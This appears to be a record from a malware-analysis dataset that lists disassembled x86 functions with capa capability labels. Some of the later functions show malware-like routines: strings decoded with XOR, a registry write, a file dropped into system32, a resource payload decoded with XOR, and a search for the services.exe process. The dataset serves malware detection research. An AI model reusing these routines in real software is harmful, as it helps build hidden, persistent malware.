joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435707
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.004353c6
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x435751
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004271ba
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00405fc0
jmp 0x43575c
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00439970
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x435762
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.00430e4a
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x43579f
call fcn.004353c6
mov dword [esi + 0xc], 1
jmp 0x4357a4
call fcn.004353c6
cmp dword [esi], 0
je 0x4357ed
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x4357c5
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004271ba
jmp 0x4357d7
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004031f0
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00405fc0
jmp 0x435811
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x435811
push dword [esi]
push dword [ebp + 8]
call fcn.00439970
pop esi
pop ebp
ret 0xc

Function at 0x436586
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x5bfc00]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x11c], eax
mov esi, ecx
lea eax, [ebp - 0x120]
jne 0x4365ce
push 0x572260
push 4
push eax
call fcn.005241cd
push eax
call fcn.00402210
add esp, 0x10
jmp 0x4365e4
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x436667
push edi
call fcn.0052556e
mov edi, dword [eax]
call fcn.0052556e
and dword [eax], 0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.00523aa5
add esp, 0x18
mov dword [ebp - 0x11c], eax
call fcn.0052556e
cmp dword [eax], 0
je 0x43663b
call fcn.0052556e
push dword [eax]
call fcn.0042565d
pop ecx
jmp 0x436642
call fcn.0052556e
mov dword [eax], edi
cmp dword [ebp - 0x11c], 0xffffffff
pop edi
je 0x436667
cmp dword [ebp - 0x11c], esi
jae 0x436667
push 0
push 0
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x436669
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00521a0b
leave
ret
Function at 0x436676
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x5bfc00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x144], eax
mov eax, dword [ebp + 0xc]
push edi
push str.KERNEL32.DLL
mov dword [ebp - 0x13c], eax
xor esi, esi
call fcn.0042b2de
pop ecx
cmp eax, esi
je 0x436760
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
je 0x436760
xor eax, eax
push 0xc8
mov word [ebp - 0xd0], ax
lea eax, [ebp - 0xce]
push esi
push eax
mov dword [ebp - 0x140], esi
call fcn.00524a80
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0x34
mov dword [ebp - 0x138], 0x65
call edi
test eax, eax
je 0x436760
lea edi, [ebp - 0xd0]
cmp word [ebp - 0xd0], si
je 0x436760
cmp esi, 0x14
jge 0x436760
push 0x10
push 0
push edi
call fcn.00527650
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x43674f
call fcn.0052556e
cmp dword [eax], 0x22
je 0x43674f
mov dword [ebp + esi*4 - 0x134], ebx
inc esi
push edi
call fcn.005251fc
lea edi, [edi + eax*2 + 2]
cmp word [edi], 0
pop ecx
jne 0x436725
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
mov ebx, 0xfc00
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x134], eax
call edi
mov dword [ebp + esi*4 - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x12c], eax
call edi
mov dword [ebp + esi*4 - 0x128], eax
add esi, 4
cmp dword [0x5c5110], 0
jne 0x4367eb
mov dword [ebp + esi*4 - 0x134], 0x800
inc esi
xor edi, edi
test esi, esi
jle 0x436814
push dword [ebp + edi*4 - 0x134]
mov ecx, dword [ebp - 0x144]
push dword [ebp - 0x13c]
call fcn.00436586
pop ecx
pop ecx
test eax, eax
jne 0x436816
inc edi
cmp edi, esi
jl 0x4367f1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00521a0b
leave
ret 8
Function at 0x437824
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x43786c
call fcn.00428cc8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x43786c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4378af
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x437898
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x437898
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x4378ac
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x43bf7a
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5bfc00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x43bfaf
xor eax, eax
jmp 0x43c002
lea eax, [ebp - 0x210]
push eax
call fcn.005251fc
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x43bfe0
push 0x5727f0
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0052840f
add esp, 0xc
test eax, eax
jne 0x43bfab
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0052840f
add esp, 0xc
test eax, eax
jne 0x43bfab
lea eax, [ebp - 0x210]
push eax
call fcn.0042b364
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00521a0b
leave
ret
Function at 0x47d744
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004fd186
call fcn.004286e5
cmp dword [eax + 0x14], 0
jne 0x47d761
mov ecx, esi
pop esi
jmp fcn.0047d249
pop esi
ret

Function at 0x480d5d
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004728cf
call fcn.004286e5
cmp dword [eax + 0x14], 0
jne 0x480d7a
mov ecx, esi
pop esi
jmp fcn.00480730
pop esi
ret

Function at 0x491485
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x49149f
call fcn.00428cc8
mov esi, dword [eax + 0xc]
push dword [0x5c6ef4]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4914bd
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x4914b5
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4914ea
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x4914b7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.004913b3
mov esi, eax
jmp 0x4914dc

Function at 0x508425
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x50843d
mov edi, dword [esi + 0xc]
jmp 0x50847d
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x508456
call fcn.00423d09
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x50846b
call fcn.00423d09
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x50847d
call fcn.00423d09
call fcn.00428cc8
cmp dword [eax + 0x3c], 0
je 0x508492
push edi
mov ecx, ebx
call fcn.005072eb
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.0050833f
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x5084b0
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x5084bc
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x521a0b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5bfc00]
jne 0x521a15
repz ret
jmp fcn.0052a6a4
Function at 0x538b0e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5bfc00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0052d228
and dword [ebp - 0x14], 0
cmp dword [0x5c9848], 0
mov dword [ebp - 0x18], eax
jne 0x538bc1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x538c69
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x538c69
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x5958ec
push ebx
mov dword [0x5c9848], eax
call edi
push eax
call esi
push 0x5958d8
push ebx
mov dword [0x5c984c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5c9850], eax
call edi
push eax
call esi
mov dword [0x5c9858], eax
test eax, eax
je 0x538bc1
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5c9854], eax
mov eax, dword [0x5c9854]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x538c1a
cmp dword [0x5c9858], ecx
je 0x538c1a
push eax
call esi
push dword [0x5c9858]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x538c1a
test ebx, ebx
je 0x538c1a
call edi
test eax, eax
je 0x538c11
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x538c11
test byte [ebp - 8], 1
jne 0x538c1a
or dword [ebp + 0x10], 0x200000
jmp 0x538c4d
mov eax, dword [0x5c984c]
cmp eax, dword [ebp - 0x18]
je 0x538c4d
push eax
call esi
test eax, eax
je 0x538c4d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x538c4d
mov eax, dword [0x5c9850]
cmp eax, dword [ebp - 0x18]
je 0x538c4d
push eax
call esi
test eax, eax
je 0x538c4d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5c9848]
call esi
test eax, eax
je 0x538c69
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x538c6b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00521a0b
leave
ret
Function at 0x5557f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x5557ff
xor eax, eax
pop esi
ret 0xc
mov eax, dword [0x5c190c]
test eax, eax
je 0x55580d
call fcn.005556a0
mov edx, dword [esp + 0x10]
cmp edx, 8
mov eax, dword [esp + 8]
not eax
jb 0x555901
push ebx
push edi
mov edi, edx
shr edi, 3
xor ecx, ecx
mov cl, byte [esi]
mov ebx, eax
shr ebx, 8
sub edx, 8
xor ecx, eax
and ecx, 0xff
mov eax, dword [ecx*4 + 0x5c9c10]
xor eax, ebx
xor ecx, ecx
mov cl, byte [esi + 1]
inc esi
xor ecx, eax
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x5c9c10]
shr eax, 8
xor ecx, eax
xor eax, eax
mov al, byte [esi + 1]
inc esi
xor eax, ecx
and eax, 0xff
mov eax, dword [eax*4 + 0x5c9c10]
shr ecx, 8
xor eax, ecx
xor ecx, ecx
mov cl, byte [esi + 1]
inc esi
xor ecx, eax
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x5c9c10]
shr eax, 8
xor ecx, eax
xor eax, eax
mov al, byte [esi + 1]
inc esi
xor eax, ecx
and eax, 0xff
mov eax, dword [eax*4 + 0x5c9c10]
shr ecx, 8
xor eax, ecx
xor ecx, ecx
mov cl, byte [esi + 1]
inc esi
xor ecx, eax
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x5c9c10]
shr eax, 8
xor ecx, eax
xor eax, eax
mov al, byte [esi + 1]
inc esi
xor eax, ecx
and eax, 0xff
mov eax, dword [eax*4 + 0x5c9c10]
shr ecx, 8
xor eax, ecx
xor ecx, ecx
mov cl, byte [esi + 1]
inc esi
xor ecx, eax
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x5c9c10]
shr eax, 8
xor eax, ecx
inc esi
dec edi
jne 0x555827
pop edi
pop ebx
test edx, edx
je 0x555921
xor ecx, ecx
mov cl, byte [esi]
xor ecx, eax
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x5c9c10]
shr eax, 8
xor eax, ecx
inc esi
dec edx
jne 0x555905
not eax
pop esi
ret 0xc
Function at 0x5564f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, dword [ebx + 0x24]
push esi
push edi
mov eax, dword [ebx + 0x64]
mov edx, dword [ebx + 0x34]
mov ecx, dword [ebx + 0x6c]
sub edx, eax
sub edx, ecx
jne 0x556514
test eax, eax
jne 0x556520
test ecx, ecx
jne 0x556520
mov edx, ebp
jmp 0x55659d
cmp edx, 0xffffffff
jne 0x556520
mov edx, 0xfffffffe
jmp 0x55659d
mov ecx, dword [ebx + 0x24]
lea ecx, [ecx + ebp - 0x106]
cmp eax, ecx
jb 0x55659d
mov edi, dword [ebx + 0x30]
mov ecx, ebp
mov eax, ecx
shr ecx, 2
lea esi, [edi + ebp]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebx + 0x68]
mov ecx, dword [ebx + 0x64]
mov eax, dword [ebx + 0x54]
sub ecx, ebp
sub esi, ebp
mov dword [ebx + 0x64], ecx
mov ecx, dword [ebx + 0x3c]
mov dword [ebx + 0x68], esi
mov esi, dword [ebx + 0x44]
sub eax, ebp
mov dword [ebx + 0x54], eax
lea ecx, [ecx + esi*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, ebp
jb 0x556574
sub eax, ebp
jmp 0x556576
xor eax, eax
dec esi
mov word [ecx], ax
jne 0x556565
mov eax, dword [ebx + 0x38]
mov esi, ebp
lea ecx, [eax + ebp*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, ebp
jb 0x556593
sub eax, ebp
jmp 0x556595
xor eax, eax
dec esi
mov word [ecx], ax
jne 0x556584
add edx, ebp
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x556603
mov ecx, dword [ebx + 0x6c]
mov edi, dword [ebx + 0x64]
mov esi, dword [ebx + 0x30]
add ecx, edi
add ecx, esi
push ecx
push eax
mov ecx, edx
call fcn.005563f0
mov ecx, dword [ebx + 0x6c]
add ecx, eax
mov edx, ecx
add esp, 8
cmp edx, 3
mov dword [ebx + 0x6c], ecx
jb 0x5565ee
mov eax, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
lea esi, [eax + ecx]
movzx eax, byte [esi]
mov ecx, dword [ebx + 0x50]
mov dword [ebx + 0x40], eax
shl eax, cl
movzx ecx, byte [esi + 1]
xor eax, ecx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp edx, 0x106
jae 0x556603
mov edx, dword [ebx]
mov eax, dword [edx + 4]
test eax, eax
jne 0x5564f6
pop edi
pop esi
pop ebp
ret
Function at 0x40107a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call fcn.00401ece
test al, al
je 0x4010d2
push esi
push edi
push 6
mov esi, 0x40505c
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
push str.KERNEL32.DLL
movsb byte es:[edi], byte [esi]
call fcn.00403590
mov esi, eax
xor eax, eax
xor byte [ebp + eax - 0x1c], 0x4f
inc eax
cmp eax, 0x16
jl 0x4010a7
lea eax, [ebp - 0x1c]
push eax
push esi
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x4010c6
push 1
push 0
call eax
push esi
call fcn.0040354b
pop edi
xor eax, eax
pop esi
leave
ret
xor eax, eax
leave
ret

Function at 0x4010d6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
push 0xd
mov esi, 0x405078
pop ecx
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
mov dword [ebp - 8], 2
xor eax, eax
xor byte [ebp + eax - 0x40], 0x4f
inc eax
cmp eax, 0x36
jl 0x4010f9
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
lea eax, [ebp - 0x40]
push esi
push eax
push 0x80000002
call fcn.0040337f
test eax, eax
jne 0x40114d
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
push 1
push esi
push dword [0x4053dc]
push dword [ebp - 4]
call fcn.004033c4
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x4013d0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x964
push ebx
push esi
push edi
mov esi, str._s_system32sA
lea edi, [ebp - 0x10]
lea eax, [ebp - 0x164]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x78
push eax
movsd dword es:[edi], dword [esi]
call fcn.00403579
lea eax, [ebp - 0x164]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
inc byte [ebp - 0x10]
sub dword [ebp - 4], 0x410001
push 0x405110
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x564]
push eax
call esi
lea eax, [ebp - 0x164]
push str.vckbpa.dat
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x964]
push eax
call esi
mov ebx, 0x405e48
lea eax, [ebp - 0x564]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x28
mov edi, 0x405a48
test eax, eax
je 0x401552
lea eax, [ebp - 0x564]
push 0x80
push eax
call sub.KERNEL32.dll_SetFileAttributesA
lea eax, [ebp - 0x564]
push 0
push eax
push ebx
call fcn.0040351d
test eax, eax
je 0x401552
lea eax, [ebp - 0x964]
push eax
call fcn.00401ea1
pop ecx
lea eax, [ebp - 0x564]
mov ecx, dword [0x406994]
push eax
call fcn.00402fa8
push 1
push 0xff
push 0x406348
call fcn.00401e01
pop ecx
pop ecx
mov ecx, dword [0x406994]
push eax
push 0x405100
call fcn.00403023
push 1
push 0x21
push 0x40688c
call fcn.00401e6d
pop ecx
pop ecx
mov ecx, dword [0x406994]
push eax
push str.TIME
call fcn.00403023
call fcn.00401ece
test al, al
je 0x401502
mov ecx, dword [0x406994]
lea eax, [ebp - 0x964]
push eax
call fcn.00402ef6
mov ecx, dword [0x406994]
lea eax, [ebp - 0x564]
push eax
call fcn.00402ef6
lea eax, [ebp - 0x564]
push ebx
push eax
push str._s__d___s_
push edi
call esi
xor ebx, ebx
push 0x44
lea eax, [ebp - 0x64]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x20]
mov dword [ebp - 0x38], 0x101
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edi
push ebx
call fcn.00403506
lea eax, [ebp - 0x564]
push eax
push str._s__v
push edi
call esi
movzx eax, byte [ebp + 8]
push eax
push dword [0x4053d8]
push dword [0x4053d4]
push dword [0x4053dc]
push edi
call fcn.00401203
add esp, 0x20
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402560
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
push edi
push 0x4050dc
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x4025dd
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, dword [ebp + 0xc]
sub eax, 0x60
push edi
push 0
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push dword [esi]
mov dword [ebp + 8], eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4025da
push dword [esi]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
add eax, 0x60
push eax
push edi
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi]
add esp, 0xc
dec eax
je 0x4025d7
mov cl, byte [eax + edi - 1]
xor byte [eax + edi], cl
jmp 0x4025cb
xor byte [edi], 0xa6
mov eax, edi
pop esi
pop edi
pop ebp
ret

Function at 0x4025e0
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x405348
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x402631
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
push dword [ebp + 8]
push 0x406990
call fcn.00403311
add esp, 0x1c
push 1
pop eax
pop esi
pop ebp
ret

Function at 0x4026de
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
xor ebx, ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x40278d
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402746
lea eax, [ebp - 0x104]
push str.services.exe
push eax
call sub.KERNEL32.dll_lstrcmpiA
test eax, eax
je 0x402740
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x402718
mov edi, dword [ebp - 0x120]
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402787
cmp dword [ebp - 0x110], edi
je 0x402772
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcmpiA
test eax, eax
je 0x402781
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x402753
mov ebx, dword [ebp - 0x120]
push esi
call sub.KERNEL32.dll_CloseHandle
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret